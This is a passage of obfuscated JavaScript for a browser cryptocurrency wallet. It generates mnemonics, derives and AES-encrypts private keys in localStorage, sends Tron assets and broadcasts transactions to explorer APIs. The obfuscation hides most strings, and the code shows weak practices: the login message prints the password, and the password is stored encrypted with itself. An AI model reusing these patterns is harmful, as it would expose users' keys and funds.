_0x5e1bcb='',_0x450a39='<button\x20ty'+_0x4ffe50(0x11a)+'\x22\x20onclick='+_0x4ffe50(0x29c)+_0x4ffe50(0x24a)+_0x4ffe50(0x163)+_0x4ffe50(0x277)+_0x4ffe50(0x126)+_0x4ffe50(0x13a)+_0x4ffe50(0x384)+_0x4ffe50(0x195)+'\x22width:\x2020'+_0x4ffe50(0x31c)+_0x4ffe50(0x3b7)+_0x4ffe50(0x2a1)+_0x4ffe50(0x10f)+_0x4ffe50(0x223);_0x5e1bcb=_0x4ffe50(0x16f)+_0x4ffe50(0x2c9)+_0x4ffe50(0x12e)+_0x4ffe50(0x21f)+_0x4ffe50(0x2c7)+_0x4ffe50(0x339)+'ID\x22\x20value='+'\x22'+CoinsJson[_0x5d53a6][_0x4ffe50(0x3c1)+_0x4ffe50(0x1bb)]+_0x482e18+(_0x4ffe50(0x149)+'>'),document[_0x4ffe50(0x224)+_0x4ffe50(0x3b4)]('Transactio'+_0x4ffe50(0x315))[_0x4ffe50(0x26e)]=_0x5e1bcb+_0x450a39;}function copyTXValue(){const _0x217a97=_0x311dae;var _0x258db9=document[_0x217a97(0x224)+'ById'](_0x217a97(0x329)+_0x217a97(0x39f));_0x258db9[_0x217a97(0x18d)](),_0x258db9[_0x217a97(0x2f8)+_0x217a97(0x2aa)](-0xc4d+0x94d+0x30*0x10,-0xf69f+-0x1cbd5+-0x621*-0xb3),document[_0x217a97(0x3ba)+'d']('copy'),console[_0x217a97(0x169)](_0x217a97(0x3ce)+_0x258db9[_0x217a97(0x17f)]);}async function broadcastTransactionToSpecify(_0xd46327,_0x516124,_0x2f9c4a){const _0x215756=_0x311dae;console['log'](_0x215756(0x112)+_0x215756(0x1d6)+_0x215756(0x33f)+'..'),console[_0x215756(0x169)](_0x215756(0x3cb)+'t:',_0xd46327),console[_0x215756(0x169)](_0x215756(0x1a8),_0x516124);var _0x3b9c2c=CoinsJson[_0x516124][_0x215756(0x202)],_0x972ed5=CoinsJson[_0x516124][_0x215756(0x3a6)+_0x215756(0x156)];const _0x39fee9={'Dogesight':{'url':_0x215756(0x180)+_0x215756(0x2e5)+'om/api/tx/'+_0x215756(0x2ab),'method':'POST','body':{'tx_hex':_0x2f9c4a}},'SoChain':{'url':'https://so'+_0x215756(0x1b5)+'api/v2/sen'+'d_tx/'+_0x3b9c2c[_0x215756(0x1c4)+'e'](),'method':_0x215756(0x177),'body':{'tx_hex':_0x2f9c4a}},'DogeChain':{'url':_0x215756(0x180)+_0x215756(0x22c)+_0x215756(0x385)+_0x215756(0x3c9),'method':_0x215756(0x177),'body':{'tx':_0x2f9c4a}},'BlockCypher':{'url':_0x215756(0x3cd)+_0x215756(0x294)+'her.com/v1'+'/'+_0x3b9c2c['toLowerCas'+'e']()+(_0x215756(0x32c)+'push'),'method':_0x215756(0x177),'body':{'tx':_0x2f9c4a}},'Blockchair':{'url':'https://ap'+_0x215756(0x1d3)+_0x215756(0x27c)+_0x972ed5[_0x215756(0x174)+'e']()+(_0x215756(0x3bf)+'saction'),'method':'POST','body':{'data':_0x2f9c4a}}},_0x177adb=_0x39fee9[_0xd46327];if(!_0x177adb){console['error']('Invalid\x20AP'+_0x215756(0x2d9)+_0x215756(0x3ad));return;}try{const _0x388a80=await fetch(_0x177adb[_0x215756(0x101)],{'method':_0x177adb['method'],'headers':{'Content-Type':_0x215756(0x175)+_0x215756(0x1b2)},'body':JSON[_0x215756(0x1df)](_0x177adb[_0x215756(0x1e2)])}),_0x1db06c=await _0x388a80[_0x215756(0x159)]();if(_0x388a80['ok']){console[_0x215756(0x169)](_0x1db06c),ShowToast(_0x215756(0x25a)+_0x215756(0x23f));const _0x244d0e=_0x1db06c['tx']&&_0x1db06c['tx'][_0x215756(0x2b9)]?_0x1db06c['tx'][_0x215756(0x2b9)]:_0x1db06c['txid']||_0x1db06c[_0x215756(0x2b9)]||_0x1db06c[_0x215756(0x287)]['transactio'+'n_hash']||_0x215756(0x2ca);console[_0x215756(0x169)](_0x215756(0x1d4)+_0x215756(0x1f8)+_0x215756(0x296)+'action\x20ID:'+'\x20'+_0x244d0e),ShowTransactionInfo(_0x516124,_0x244d0e);}else console['error'](_0x215756(0x386)+_0x215756(0x1ab)+_0x215756(0x1d6)+':',_0x1db06c),document[_0x215756(0x224)+_0x215756(0x3b4)]('Transactio'+_0x215756(0x315))[_0x215756(0x14c)]=_0x215756(0x1de)+(_0x1db06c[_0x215756(0x251)]||_0x215756(0x1d4)+_0x215756(0x1e5)+'t\x20be\x20broad'+_0x215756(0x3d0));}catch(_0x5e2af3){console['error'](_0x215756(0x386)+_0x215756(0x1ab)+'ransaction'+':',_0x5e2af3),document['getElement'+_0x215756(0x3b4)](_0x215756(0x1d4)+'nID')[_0x215756(0x14c)]=_0x215756(0x1de)+_0x5e2af3['message']+(_0x215756(0x34d)+_0x215756(0x19d)+_0x215756(0x28a)+_0x215756(0x15e)+_0x215756(0x11f));}}async function sendTron(_0x2061c3,_0x115ba8){const _0x49e214=_0x311dae,_0x85f2c2=document['getElement'+_0x49e214(0x3b4)](_0x49e214(0x1a3)+_0x49e214(0x2f3)),_0x4dd74c=_0x85f2c2[_0x49e214(0x14b)][_0x85f2c2[_0x49e214(0x283)+_0x49e214(0x333)]][_0x49e214(0x14c)];console['log'](_0x49e214(0x341),_0x2061c3);const _0x37e4c5=document['getElement'+_0x49e214(0x3b4)](_0x49e214(0x242)+'ect')[_0x49e214(0x283)+_0x49e214(0x333)],_0x2cacbc=loadKeysFromLocalStorage(_0x49e214(0x219)),_0x440299=_0x2cacbc[_0x37e4c5][_0x49e214(0x13f)],_0x40978e=CryptoJS[_0x49e214(0x2b1)][_0x49e214(0x37f)](_0x440299,pass)[_0x49e214(0x201)](CryptoJS['enc'][_0x49e214(0x14d)]),_0x160519=_0x2cacbc[_0x37e4c5][_0x49e214(0x38e)];try{const _0x4e274d=new TronWeb({'fullHost':CoinsJson[_0x49e214(0x2b3)][_0x49e214(0x1a7)],'privateKey':_0x40978e}),_0x2f24a6=_0x4e274d[_0x49e214(0x194)](_0x115ba8);console['log'](_0x49e214(0x33a)+'n:',_0x2f24a6);const _0x1fbc9b=await _0x4e274d[_0x49e214(0x1b4)+_0x49e214(0x2d6)]['sendTrx'](_0x2061c3,_0x2f24a6),_0x5a481b=await _0x4e274d[_0x49e214(0x219)][_0x49e214(0x191)](_0x1fbc9b);console[_0x49e214(0x169)](_0x49e214(0x21d)+_0x49e214(0x375),_0x5a481b);const _0x3c8375=await _0x4e274d[_0x49e214(0x219)][_0x49e214(0x20c)+'nsaction'](_0x5a481b);console[_0x49e214(0x169)](_0x49e214(0x38d)+'=>',_0x3c8375),console['log'](_0x49e214(0x3bd)+_0x49e214(0x334)+_0x49e214(0x27f)+_0x49e214(0x1d9),_0x3c8375['txid']),ShowToast(_0x49e214(0x2c4)+_0x49e214(0x109)+_0x3c8375[_0x49e214(0x34e)]),ShowTransactionInfo(_0x4dd74c,_0x3c8375[_0x49e214(0x34e)]);}catch(_0x52ff9b){console[_0x49e214(0x251)](_0x49e214(0x226)+_0x49e214(0x2f6),_0x52ff9b),ShowToast(_0x49e214(0x259)+_0x49e214(0x2ae));}}async function sendTronToken(_0x139b55,_0x49745f,_0x5740d7){const _0x379437=_0x311dae,_0x1b9be0=document[_0x379437(0x224)+_0x379437(0x3b4)](_0x379437(0x1a3)+'Select'),_0x330b54=_0x1b9be0[_0x379437(0x14b)][_0x1b9be0[_0x379437(0x283)+_0x379437(0x333)]]['innerText'],_0x213ec5=document[_0x379437(0x224)+_0x379437(0x3b4)](_0x379437(0x242)+_0x379437(0x129))[_0x379437(0x283)+_0x379437(0x333)],_0x263104=loadKeysFromLocalStorage(_0x379437(0x219)),_0x58cd5e=_0x263104[_0x213ec5][_0x379437(0x13f)],_0x1f92cc=CryptoJS['AES']['decrypt'](_0x58cd5e,pass)['toString'](CryptoJS[_0x379437(0x39b)][_0x379437(0x14d)]),_0x5a1c99=_0x263104[_0x213ec5]['address'];try{const _0x1178fe=new TronWeb({'fullHost':CoinsJson[_0x379437(0x2b3)][_0x379437(0x1a7)],'privateKey':_0x1f92cc}),{abi:_0x10d151}=await _0x1178fe[_0x379437(0x219)][_0x379437(0x2ea)+'t'](_0x5740d7),_0x596bab=_0x1178fe['contract'](_0x10d151[_0x379437(0x24c)],_0x5740d7),_0x2cca8c=await _0x596bab[_0x379437(0x18f)][_0x379437(0x328)]()[_0x379437(0x268)]();var _0x2d3bc6=BigInt(_0x49745f*Math[_0x379437(0x1f4)](-0x194d+0x2*-0xfa7+0x38a5,_0x2cca8c[_0x379437(0x201)]()));console[_0x379437(0x169)](_0x379437(0x2df)+'t:',_0x2d3bc6);const _0x338a85=await _0x596bab[_0x379437(0x18f)]['transfer'](_0x139b55,_0x2d3bc6['toString']())[_0x379437(0x2ab)]();console['log'](_0x379437(0x2bc)+'n\x20transact'+'ion\x20succes'+_0x379437(0x18a)+_0x379437(0x388),_0x338a85),ShowToast(_0x379437(0x2bc)+_0x379437(0x278)+_0x379437(0x161)+_0x338a85),ShowTransactionInfo(_0x330b54,_0x338a85);}catch(_0x22d512){console[_0x379437(0x251)](_0x379437(0x226)+_0x379437(0x24d)+_0x379437(0x356),_0x22d512),ShowToast(_0x379437(0x2de)+_0x22d512[_0x379437(0x228)]);}}async function SetPass(){const _0x4058f9=_0x311dae,_0x56e196=document['getElement'+'ById'](_0x4058f9(0x23e)+'put')['value'];if(!_0x56e196){ShowToast(_0x4058f9(0x281)+_0x4058f9(0x284)+_0x4058f9(0x193));return;}const _0x51e7d0=CryptoJS[_0x4058f9(0x2b1)][_0x4058f9(0x2b7)](_0x56e196,_0x56e196)[_0x4058f9(0x201)]();localStorage[_0x4058f9(0x3b3)](_0x4058f9(0x2fd)+'t_'+('encrypted_'+_0x4058f9(0x2b6)+_0x4058f9(0x2af)),_0x51e7d0),pass=_0x56e196,ShowToast(_0x4058f9(0x389)+_0x4058f9(0x29f)+_0x4058f9(0x28e)),await ShowMnemonicSection(),await generateMnemonic(),document['getElement'+'ById'](_0x4058f9(0x32b)+_0x4058f9(0x3c4))[_0x4058f9(0x38f)][_0x4058f9(0x21b)]='block';}async function ShowMnemonicSection(){const _0x24c914=_0x311dae;document[_0x24c914(0x224)+'ById'](_0x24c914(0x1ec)+_0x24c914(0x2a3))[_0x24c914(0x38f)]['display']='block',document[_0x24c914(0x224)+_0x24c914(0x3b4)](_0x24c914(0x143)+'on')[_0x24c914(0x38f)][_0x24c914(0x21b)]=_0x24c914(0x13d);}async function ShowMainUI(){const _0x469021=_0x311dae;document[_0x469021(0x224)+_0x469021(0x3b4)](_0x469021(0x20d))[_0x469021(0x38f)][_0x469021(0x21b)]='block',document['getElement'+_0x469021(0x3b4)]('MnemonicSe'+_0x469021(0x2a3))['style']['display']=_0x469021(0x13d),document[_0x469021(0x224)+'ById'](_0x469021(0x143)+'on')[_0x469021(0x38f)][_0x469021(0x21b)]='none';if(!localStorage[_0x469021(0x207)](_0x469021(0x2fd)+'t_selected'+_0x469021(0x2f4)))await updateAccountSelect(_0x469021(0x261));else{const _0x2f2bae=localStorage[_0x469021(0x207)](_0x469021(0x2fd)+_0x469021(0x2cb)+_0x469021(0x2f4));await updateAccountSelect(_0x2f2bae);}await updateIcon();}async function Login(){const _0x26e7a8=_0x311dae,_0x314110=document['getElement'+_0x26e7a8(0x3b4)](_0x26e7a8(0x23e)+_0x26e7a8(0x118))[_0x26e7a8(0x17f)],_0x5a7f78=localStorage[_0x26e7a8(0x207)]('MultiWalle'+'t_'+(_0x26e7a8(0x2b2)+'walletPass'+_0x26e7a8(0x2af)));if(!_0x5a7f78){ShowToast(_0x26e7a8(0x29b)+_0x26e7a8(0x2b0)+_0x26e7a8(0x322));return;}const _0xbabb2e=CryptoJS[_0x26e7a8(0x2b1)][_0x26e7a8(0x37f)](_0x5a7f78,_0x314110)[_0x26e7a8(0x201)](CryptoJS[_0x26e7a8(0x39b)]['Utf8']);if(_0xbabb2e===_0x314110)ShowToast(_0x26e7a8(0x3b0)+'essful!'+pass),pass=_0x314110,document[_0x26e7a8(0x224)+_0x26e7a8(0x3b4)](_0x26e7a8(0x20d))[_0x26e7a8(0x38f)][_0x26e7a8(0x21b)]='block',document[_0x26e7a8(0x224)+_0x26e7a8(0x3b4)]('loginSecti'+'on')[_0x26e7a8(0x38f)][_0x26e7a8(0x21b)]=_0x26e7a8(0x13d),await updateIcon(),await AdjustSlider(),await applySavedSelections(),await RefreshBalance();else{ShowToast('Incorrect\x20'+'password.');return;}}function LoginOrInit(){const _0x555746=_0x311dae,_0x4ccfb8=document['getElement'+_0x555746(0x3b4)](_0x555746(0x335)+'n'),_0x167c79=document[_0x555746(0x224)+_0x555746(0x3b4)](_0x555746(0x117)+_0x555746(0x323));!localStorage['getItem'](_0x555746(0x2fd)+_0x555746(0x158)+'d_walletPa'+_0x555746(0x165))?(_0x167c79[_0x555746(0x38f)][_0x555746(0x21b)]=_0x555746(0x16a),_0x4ccfb8[_0x555746(0x38f)][_0x555746(0x21b)]='none'):(_0x4ccfb8['style'][_0x555746(0x21b)]=_0x555746(0x16a),_0x167c79[_0x555746(0x38f)]['display']='none');}async function loadWallet(){const _0x26db77=_0x311dae;if(!localStorage['getItem'](_0x26db77(0x2fd)+_0x26db77(0x158)+_0x26db77(0x258)+_0x26db77(0x165)))generateMnemonic();else{}}async function generateMnemonic(){const _0x3289e3=_0x311dae,_0x9a2fe3=bip39[_0x3289e3(0x2e9)+_0x3289e3(0x308)](0x120f+-0x141*0x1f+-0x15d0*-0x1);document[_0x3289e3(0x224)+_0x3289e3(0x3b4)](_0x3289e3(0x33c)+'xt')[_0x3289e3(0x14c)]=_0x9a2fe3,await initWallets(_0x9a2fe3);}function encryptString(_0x50c4a1,_0x1762cf){return CryptoJS['AES']['encrypt'](_0x50c4a1,_0x1762cf)['toString']();}function decryptString(_0x3aff75,_0x759d61){const _0x327797=_0x311dae,_0x253f3d=CryptoJS[_0x327797(0x2b1)]['decrypt'](_0x3aff75,_0x759d61);return _0x253f3d['toString'](CryptoJS[_0x327797(0x39b)][_0x327797(0x14d)]);}async function saveKeysToLocalStorage(_0x36aaed,_0x2cb675){const _0x4ad5eb=_0x311dae;localStorage[_0x4ad5eb(0x3b3)](_0x4ad5eb(0x2fd)+'t_'+_0x36aaed+'_accounts',JSON[_0x4ad5eb(0x1df)](_0x2cb675));}function loadKeysFromLocalStorage(_0x50c913){const _0x267548=_0x311dae,_0x562a18=localStorage['getItem'](_0x267548(0x2fd)+'t_'+_0x50c913+_0x267548(0x380)),_0x73ffad=_0x562a18?JSON[_0x267548(0x35d)](_0x562a18):[],_0x574443=_0x267548(0x2fd)+'t_'+_0x50c913+(_0x267548(0x30b)+'UseIndex'),_0x4b9e02=parseInt(localStorage[_0x267548(0x207)](_0x574443),0x2413+0x1*0x19d5+-0x3dde)||-0xb*-0x26e+-0x19fe+0x4*-0x2f;return _0x73ffad['slice'](0x3b0*0x1+0x1*-0x1a11+0x1*0x1661,_0x4b9e02+(-0x25ce+-0x3fb+0x29ca));}function loadAllKeysFromLocalStorage(_0x2dfefa){const _0x47dbf5=_0x311dae,_0x10b791=localStorage['getItem'](_0x47dbf5(0x2fd)+'t_'+_0x2dfefa+_0x47dbf5(0x380)),_0x63084d=_0x10b791?JSON['parse'](_0x10b791):[];return _0x63084d;}async function initWallets(_0x70d033){const _0x5ea727=_0x311dae,_0x1123be={};for(const _0x5a5d39 in CoinsJson){await initUseIndex(CoinsJson[_0x5a5d39][_0x5ea727(0x202)]);if(CoinsJson[_0x5ea727(0x231)+_0x5ea727(0x357)](_0x5a5d39)){if(CoinsJson[_0x5a5d39]['NetworkTyp'+'e']==_0x5ea727(0x179)+'e')_0x1123be[CoinsJson[_0x5a5d39]['symbol']]=await generateAccounts(_0x5a5d39,_0x70d033),await saveKeysToLocalStorage(CoinsJson[_0x5a5d39][_0x5ea727(0x202)],_0x1123be[CoinsJson[_0x5a5d39][_0x5ea727(0x202)]]);else{if(CoinsJson[_0x5a5d39][_0x5ea727(0x1ee)+'e']==_0x5ea727(0x345))_0x1123be[CoinsJson[_0x5a5d39]['symbol']]=await generateEthereumAccounts(_0x70d033),await saveKeysToLocalStorage(CoinsJson[_0x5a5d39][_0x5ea727(0x202)],_0x1123be[CoinsJson[_0x5a5d39][_0x5ea727(0x202)]]);else CoinsJson[_0x5a5d39][_0x5ea727(0x1ee)+'e']==_0x5ea727(0x3b8)&&(_0x1123be[_0x5ea727(0x219)]=await generateAccounts(_0x5a5d39,_0x70d033),await saveKeysToLocalStorage(CoinsJson[_0x5a5d39][_0x5ea727(0x202)],_0x1123be[CoinsJson[_0x5a5d39][_0x5ea727(0x202)]]));}}}(!localStorage['getItem']('MultiWalle'+_0x5ea727(0x2cb)+_0x5ea727(0x2f4)+'Index')||!localStorage[_0x5ea727(0x207)]('MultiWalle'+_0x5ea727(0x2cb)+_0x5ea727(0x2d7)+'ex'))&&(localStorage[_0x5ea727(0x3b3)](_0x5ea727(0x2fd)+_0x5ea727(0x2cb)+_0x5ea727(0x2f4)+_0x5ea727(0x2a6),-0xbf0+0x1*-0x6e6+0x12d6),localStorage[_0x5ea727(0x3b3)](_0x5ea727(0x2fd)+_0x5ea727(0x2cb)+_0x5ea727(0x2d7)+'ex',-0x1*-0x10f2+-0xb45+-0x5ad)),document[_0x5ea727(0x224)+_0x5ea727(0x3b4)](_0x5ea727(0x236)+'rateAccoun'+'tid')[_0x5ea727(0x14c)]=_0x5ea727(0x373)+'ts\x20created'+'.';}async function generateAccounts(_0x3f68bc,_0x3f6f17){const _0x31e66f=_0x311dae;console['log']('CoinName:',_0x3f68bc);const _0x4c5fef=[],_0x3db50b=bip39[_0x31e66f(0x351)+_0x31e66f(0x230)](_0x3f6f17);var _0x425ebb;_0x425ebb=bitcoin[_0x31e66f(0x1bc)][_0x31e66f(0x267)](_0x3db50b,CoinsJson[_0x3f68bc][_0x31e66f(0x2c5)+'a']);_0x3f68bc==_0x31e66f(0x2b3)&&(_0x425ebb=bitcoin['bip32'][_0x31e66f(0x267)](_0x3db50b));for(let _0x43b453=0x5*-0x4d5+-0x72e*0x1+0x71*0x47;_0x43b453<GenerateAccountNumber;_0x43b453++){let _0x143686=CoinsJson[_0x3f68bc][_0x31e66f(0x2bd)+'th']+_0x43b453;if(_0x143686){const _0xdee413=_0x425ebb[_0x31e66f(0x3ae)](_0x143686);let _0x2d4d38;if(CoinsJson[_0x3f68bc][_0x31e66f(0x1ee)+'e']===_0x31e66f(0x179)+'e')_0x2d4d38=bitcoin[_0x31e66f(0x116)][_0x31e66f(0x1a5)]({'pubkey':_0xdee413[_0x31e66f(0x1ac)],'network':CoinsJson[_0x3f68bc][_0x31e66f(0x2c5)+'a']})[_0x31e66f(0x38e)];else{if(CoinsJson[_0x3f68bc][_0x31e66f(0x1ee)+'e']===_0x31e66f(0x3b8)){var _0x59d890=_0xdee413[_0x31e66f(0x13f)]['toString'](_0x31e66f(0x199));_0x2d4d38=tronWeb[_0x31e66f(0x38e)]['fromPrivat'+_0x31e66f(0x139)](_0x59d890);}}if(CoinsJson[_0x3f68bc][_0x31e66f(0x1ee)+'e']===_0x31e66f(0x3b8)){var _0x402195=CryptoJS[_0x31e66f(0x2b1)][_0x31e66f(0x2b7)](_0xdee413[_0x31e66f(0x13f)][_0x31e66f(0x201)](_0x31e66f(0x199)),pass)[_0x31e66f(0x201)]();_0x4c5fef[_0x31e66f(0x106)]({'address':_0x2d4d38,'privateKey':_0x402195}),document[_0x31e66f(0x224)+'ById'](_0x31e66f(0x236)+_0x31e66f(0x33b)+_0x31e66f(0x13e))[_0x31e66f(0x14c)]=_0x2d4d38,await wait(0x4*-0x89b+-0x2*0xb5e+0x3932);}else{var _0x402195=CryptoJS['AES'][_0x31e66f(0x2b7)](_0xdee413['toWIF'](),pass)[_0x31e66f(0x201)]();_0x4c5fef['push']({'address':_0x2d4d38,'privateKey':_0x402195}),document[_0x31e66f(0x224)+_0x31e66f(0x3b4)](_0x31e66f(0x236)+_0x31e66f(0x33b)+'tid')['innerText']=_0x2d4d38,await wait(0x97*0x30+-0x2bd+0x883*-0x3);}}}return _0x4c5fef;}async function generateEthereumAccounts(_0x6bd964){const _0x43f0ba=_0x311dae,_0xe1980a=[],_0x37946b=ethers['utils']['HDNode'][_0x43f0ba(0x136)+'ic'](_0x6bd964),_0x1d1c78=loadKeysFromLocalStorage(_0x43f0ba(0x297)),_0x282127=_0x1d1c78[_0x43f0ba(0x390)];for(let _0x10c79f=_0x282127;_0x10c79f<_0x282127+GenerateAccountNumber;_0x10c79f++){const _0xeda131=_0x43f0ba(0x164)+'0\x27/0/'+_0x10c79f,_0x41c518=_0x37946b[_0x43f0ba(0x3ae)](_0xeda131);var _0x2c4aed=CryptoJS['AES'][_0x43f0ba(0x2b7)](_0x41c518['privateKey'],pass)[_0x43f0ba(0x201)]();document['getElement'+_0x43f0ba(0x3b4)](_0x43f0ba(0x236)+_0x43f0ba(0x33b)+'tid')['innerText']=_0x41c518['address'],await wait(-0x2107+0x5f*0x47+0x712),_0xe1980a[_0x43f0ba(0x106)]({'address':_0x41c518[_0x43f0ba(0x38e)],'privateKey':_0x2c4aed});}return await saveKeysToLocalStorage(_0x43f0ba(0x297),_0xe1980a),_0xe1980a;}async function updateAccountSelect(_0x567f13){const _0x1d8de3=_0x311dae,_0x1ed5aa=document[_0x1d8de3(0x224)+_0x1d8de3(0x3b4)](_0x1d8de3(0x242)+_0x1d8de3(0x129));_0x1ed5aa['innerHTML']='';const _0x121248=loadKeysFromLocalStorage(_0x567f13);_0x121248[_0x1d8de3(0x2c1)]((_0x9622b0,_0x20c260)=>{const _0x52e53d=_0x1d8de3,_0x47670c=document[_0x52e53d(0x25c)+_0x52e53d(0x1fd)]('option');_0x47670c[_0x52e53d(0x17f)]=_0x9622b0['address'];var _0x1209ba=_0x9622b0['address'],_0x59f493=_0x1209ba[_0x52e53d(0x23c)](0x69a+-0x1*0x1757+0x10bd,-0x127f+-0x1*0x1ec+0x1*0x146f)+_0x52e53d(0x332)+_0x1209ba[_0x52e53d(0x23c)](-(0xb89+-0x158*-0x1d+-0x327f));_0x47670c['text']=_0x52e53d(0x35f)+(_0x20c260+(-0x1862*-0x1+-0x5d1*-0x4+-0x2fa5*0x1))+':\x20'+_0x59f493,_0x1ed5aa[_0x52e53d(0x393)+'d'](_0x47670c);}),document['getElement'+'ById'](_0x1d8de3(0x1d4)+'nID')[_0x1d8de3(0x14c)]='',console[_0x1d8de3(0x169)](_0x1d8de3(0x1ba)+_0x1d8de3(0x1d1)+_0x1d8de3(0x2ad),document[_0x1d8de3(0x224)+_0x1d8de3(0x3b4)](_0x1d8de3(0x242)+_0x1d8de3(0x129))[_0x1d8de3(0x283)+'dex']);const _0x2a44b2=localStorage[_0x1d8de3(0x207)](_0x1d8de3(0x2fd)+'t_selected'+_0x1d8de3(0x2d7)+'ex');var _0x4f31b3=_0x121248[_0x1d8de3(0x390)]-(-0x2407+0x2614+-0x2*0x106);_0x2a44b2>_0x4f31b3?document[_0x1d8de3(0x224)+_0x1d8de3(0x3b4)](_0x1d8de3(0x242)+'ect')[_0x1d8de3(0x283)+_0x1d8de3(0x333)]=_0x4f31b3:document[_0x1d8de3(0x224)+_0x1d8de3(0x3b4)](_0x1d8de3(0x242)+_0x1d8de3(0x129))[_0x1d8de3(0x283)+_0x1d8de3(0x333)]=_0x2a44b2,AdjustSlider();}async function AdjustSlider(){const _0x37e562=_0x311dae,_0x3c6d19=document[_0x37e562(0x224)+'ById'](_0x37e562(0x1a3)+_0x37e562(0x2f3)),_0x95188b=_0x3c6d19[_0x37e562(0x14b)][_0x3c6d19[_0x37e562(0x283)+_0x37e562(0x333)]][_0x37e562(0x14c)],_0x5c508f=CoinsJson[_0x95188b],_0x53c6be=_0x5c508f[_0x37e562(0x344)+_0x37e562(0x1cf)],_0x54ef3e=_0x5c508f['MaximumMin'+_0x37e562(0x1cf)],_0x534e8b=(_0x54ef3e-_0x53c6be)/(0x103e+0x20ff+-0x33b*0xf),_0x41f00b=document[_0x37e562(0x224)+'ById'](_0x37e562(0x137));_0x41f00b['min']=_0x53c6be/(0xf018fb+-0x4e77bce+0x9ed43d3),_0x41f00b[_0x37e562(0x22f)]=_0x54ef3e/(-0x72d78ba+-0x4c02628+0x11e37fe2),_0x41f00b[_0x37e562(0x17f)]=_0x53c6be/(-0xb*0x103810d+0xaa7fd80+-0x6746f0f*-0x1),_0x41f00b['step']=_0x534e8b/(-0x3fb5b4a+0x36c*0x130b7+0x5de8a16),updateFeeDisplay(_0x41f00b[_0x37e562(0x17f)]);}document['getElement'+_0x311dae(0x3b4)](_0x311dae(0x1a3)+_0x311dae(0x2f3))['addEventLi'+_0x311dae(0x12c)](_0x311dae(0x26d),function(){const _0x78022f=_0x311dae,_0x48c986=this[_0x78022f(0x17f)];updateAccountSelect(_0x48c986),HideSendSection(),AdjustSlider(),RefreshBalance();});function ShowToast(_0x33065e){const _0x201d1c=_0x311dae;var _0x4cea4f=document[_0x201d1c(0x224)+_0x201d1c(0x3b4)]('liveToast'),_0x3bc861=_0x4cea4f[_0x201d1c(0x1f3)+'tor']('.toast-bod'+'y');_0x3bc861[_0x201d1c(0x14c)]=_0x33065e;const _0x327ca2=bootstrap[_0x201d1c(0x379)][_0x201d1c(0x121)+_0x201d1c(0x15d)](document[_0x201d1c(0x224)+_0x201d1c(0x3b4)](_0x201d1c(0x2f1)));_0x327ca2[_0x201d1c(0x1cb)]();}async function saveSelections(){const _0x44811e=_0x311dae,_0x110cb1=document[_0x44811e(0x224)+_0x44811e(0x3b4)](_0x44811e(0x1a3)+_0x44811e(0x2f3)),_0x4c2d43=document[_0x44811e(0x224)+_0x44811e(0x3b4)](_0x44811e(0x242)+_0x44811e(0x129));localStorage[_0x44811e(0x3b3)](_0x44811e(0x2fd)+_0x44811e(0x2cb)+_0x44811e(0x2f4),_0x110cb1[_0x44811e(0x17f)]),localStorage[_0x44811e(0x3b3)](_0x44811e(0x2fd)+_0x44811e(0x2cb)+_0x44811e(0x2f4)+'Index',_0x110cb1[_0x44811e(0x283)+_0x44811e(0x333)]),localStorage[_0x44811e(0x3b3)](_0x44811e(0x2fd)+'t_selected'+_0x44811e(0x2d7)+'ex',_0x4c2d43['selectedIn'+_0x44811e(0x333)]);}async function applySavedSelections(){const _0x40e0ac=_0x311dae,_0x56634e=localStorage[_0x40e0ac(0x207)](_0x40e0ac(0x2fd)+'t_selected'+_0x40e0ac(0x2f4));_0x56634e&&(document[_0x40e0ac(0x224)+_0x40e0ac(0x3b4)](_0x40e0ac(0x1a3)+_0x40e0ac(0x2f3))[_0x40e0ac(0x17f)]=_0x56634e,await updateAccountSelect(_0x56634e));}async function importKeyToWallet(_0x2b1ed3,_0x4ee868){const _0x2b9b95=_0x311dae;var _0x5dfcbe=CoinsJson[_0x2b1ed3][_0x2b9b95(0x202)];const _0x2808a7=loadAllKeysFromLocalStorage(_0x5dfcbe);console[_0x2b9b95(0x169)]('existingAc'+_0x2b9b95(0x2d5),_0x2808a7);let _0x28c511,_0x3c1540;try{switch(CoinsJson[_0x2b1ed3][_0x2b9b95(0x1ee)+'e']){case _0x2b9b95(0x179)+'e':const _0x1213b6=bitcoin[_0x2b9b95(0x1fc)]['fromWIF'](_0x4ee868,CoinsJson[_0x2b1ed3][_0x2b9b95(0x2c5)+'a']);_0x28c511=bitcoin[_0x2b9b95(0x116)]['p2pkh']({'pubkey':_0x1213b6[_0x2b9b95(0x1ac)],'network':CoinsJson[_0x2b1ed3]['NetworkPar'+'a']})[_0x2b9b95(0x38e)],_0x3c1540=CryptoJS['AES'][_0x2b9b95(0x2b7)](_0x4ee868,pass)[_0x2b9b95(0x201)]();break;case _0x2b9b95(0x345):const _0x532bb6=new ethers[(_0x2b9b95(0x1b7))](_0x4ee868);_0x28c511=_0x532bb6[_0x2b9b95(0x38e)],_0x3c1540=CryptoJS['AES'][_0x2b9b95(0x2b7)](_0x4ee868,pass)['toString']();break;case _0x2b9b95(0x3b8):_0x28c511=tronWeb[_0x2b9b95(0x38e)][_0x2b9b95(0x3c7)+_0x2b9b95(0x139)](_0x4ee868),_0x3c1540=CryptoJS[_0x2b9b95(0x2b1)][_0x2b9b95(0x2b7)](_0x4ee868,pass)['toString']();break;default:ShowToast(_0x2b9b95(0x303)+_0x2b9b95(0x36f)+_0x2b9b95(0x2fe));return;}const _0x5230a4='MultiWalle'+'t_'+_0x5dfcbe+(_0x2b9b95(0x30b)+_0x2b9b95(0x155)),_0x3e085b=parseInt(localStorage['getItem'](_0x5230a4),0x3b*0x14+-0x1e7*0xe+0x1610)||-0x21c0+-0x1be*-0x12+0x132*0x2,_0x12d0a5={'address':_0x28c511,'privateKey':_0x3c1540};_0x2808a7[_0x2b9b95(0x188)](_0x3e085b+(0xd3*0x17+0x2360+0x6*-0x90e),0x2650+-0x5*-0x19+-0x26cd,_0x12d0a5),console['log'](_0x2b9b95(0x3b6)+_0x2b9b95(0x265)+'er:',_0x2808a7),await saveKeysToLocalStorage(_0x5dfcbe,_0x2808a7),ShowToast(_0x2b9b95(0x2e7)+_0x2b9b95(0x368)+_0x2b9b95(0x36e)+_0x2b1ed3[_0x2b9b95(0x1c4)+'e']()+'.');const _0x6ca40b=document[_0x2b9b95(0x224)+_0x2b9b95(0x3b4)](_0x2b9b95(0x242)+'ect');let 